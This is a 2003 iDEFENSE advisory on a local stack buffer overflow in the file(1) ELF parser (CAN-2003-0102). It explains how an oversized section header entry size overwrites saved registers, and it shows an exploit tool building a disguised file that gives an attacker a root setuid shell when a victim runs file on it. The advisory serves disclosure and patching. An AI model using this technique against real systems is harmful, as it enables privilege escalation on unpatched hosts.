Locally Exploitable Buffer Overflow in file(1)

03.04.03

BACKGROUND

file(1) is an application that utilizes a magic file (typically located in /usr/share/magic) to classify arbitrary files. The latest version of file(1) is available for download from: ftp://ftp.astron.com/pub/file .

For example:

    $ file
    Usage: file [-bcnvzL] [-f namefile] [-m magicfiles] file...

    $ file unknown_file
    unknown_file: ASCII text

DESCRIPTION

The file(1) command contains a buffer overflow vulnerability that can be leveraged by an attacker to execute arbitrary code under the privileges of another user.

The crux of the problem lies in the following call to doshn() from tryelf() on line 587 in readelf.c:

    doshn(class, swap,
        fd,
        getu32(swap, elfhdr.e_shoff),
        getu16(swap, elfhdr.e_shnum),
        getu16(swap, elfhdr.e_shentsize));

The final argument to doshn() 'elfhdr.e_shentsize' is later used in a call to read() as can be see here on line 133 in readelf.c:

    if (read(fd, sh_addr, size) == -1)

The call to read() will copy 'size' bytes into the variable 'sh_addr' which is defined on line 92 in readelf.c:

    #define sh_addr (class == ELFCLASS32
                     ? (void *) &sh32
                     : (void *) &sh64)

The storage buffer used in the call to read() is of size 0x20 (32) bytes, by supplying a 'size' of 0x28 (40) a stack overflow occurs overwriting the stored frame pointer (EBP) and instruction pointer (EIP) thereby providing the attacker with CPU control and the ability to execute arbitrary code.

ANALYSIS

A user who can successfully convince another user to examine a specially constructed exploit file with the file(1) command can execute arbitrary code under the privileges of that user.

The following is a sample walkthrough of a successful exploitation. The attacker must initially generate a file that is specially structured to trigger a buffer overflow in the file(1) command:

    $ ./mkfile_expl -C /tmp/suid -F /tmp/exploit -O "ASCII text" -R
/bin/bash -p 1

    Local /usr/bin/file upto v3.39 exploit by anonymous

    Using PRESET: 1 [Linux file <= 3.38 ]

    Using FILENAME: /tmp/exploit
    Using REAL_SHELL: /bin/bash
    Using CREATED_SHELL: /tmp/suid
    Using OUTPUT: ASCII text

    Using RET_ADDR: 0xbfffc3f0
    Using NOP_COUNT: 6000

    Exploit created -> /tmp/exploit
    Time to wait till somebody starts /usr/bin/file /tmp/exploit

Once the tainted file has been generated the attacker must wait for or coerce another user to examine the file with the file(1) command.

    # ls -l exploit
    -rwxr-xr-x 1 farmer farmer 6406 Jan 11 22:07 exploit

    # file exploit
    /tmp/exploit: ASCII text

The file(1) command reports that the examined file is "ASCII text" as the attacker specified in the creation of the exploit file. At this point if the attack was a success the original attack file (exploit) has been erased and a set user id shell has been created:

    # ls -l exploit
    ls: exploit: No such file or directory

    $ ls -l suid
    -rwsr-sr-x 1 root root 541096 Jan 11 22:07 suid

DETECTION

iDEFENSE has successfully exploited file(1) versions 3.37 and 3.39. It is suspected that all versions up to and including 3.39 are vulnerable.

VENDOR RESPONSE

The latest version of file(1) fixes this issue and is available from ftp://ftp.astron.com/pub/file/file-3.41.tar.gz . Specific vendors will be shipping updated packages in the near future.

CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification number CAN-2003-0102 to this issue.

DISCLOSURE TIMELINE

12/16/2002       Issue disclosed to iDEFENSE
02/24/2003       Maintainers notified: mail_contact@darwinsys.com
02/24/2003       Response from Ian Darwin, ian@darwinsys.com
02/25/2003       Response received from christos@zoulas.com
02/25/2003       iDEFENSE clients notified
02/27/2003       OS vendors notified via vendor-sec@lst.de
03/04/2003       Public Disclosure

CREDIT

An anonymous researcher discovered this vulnerability.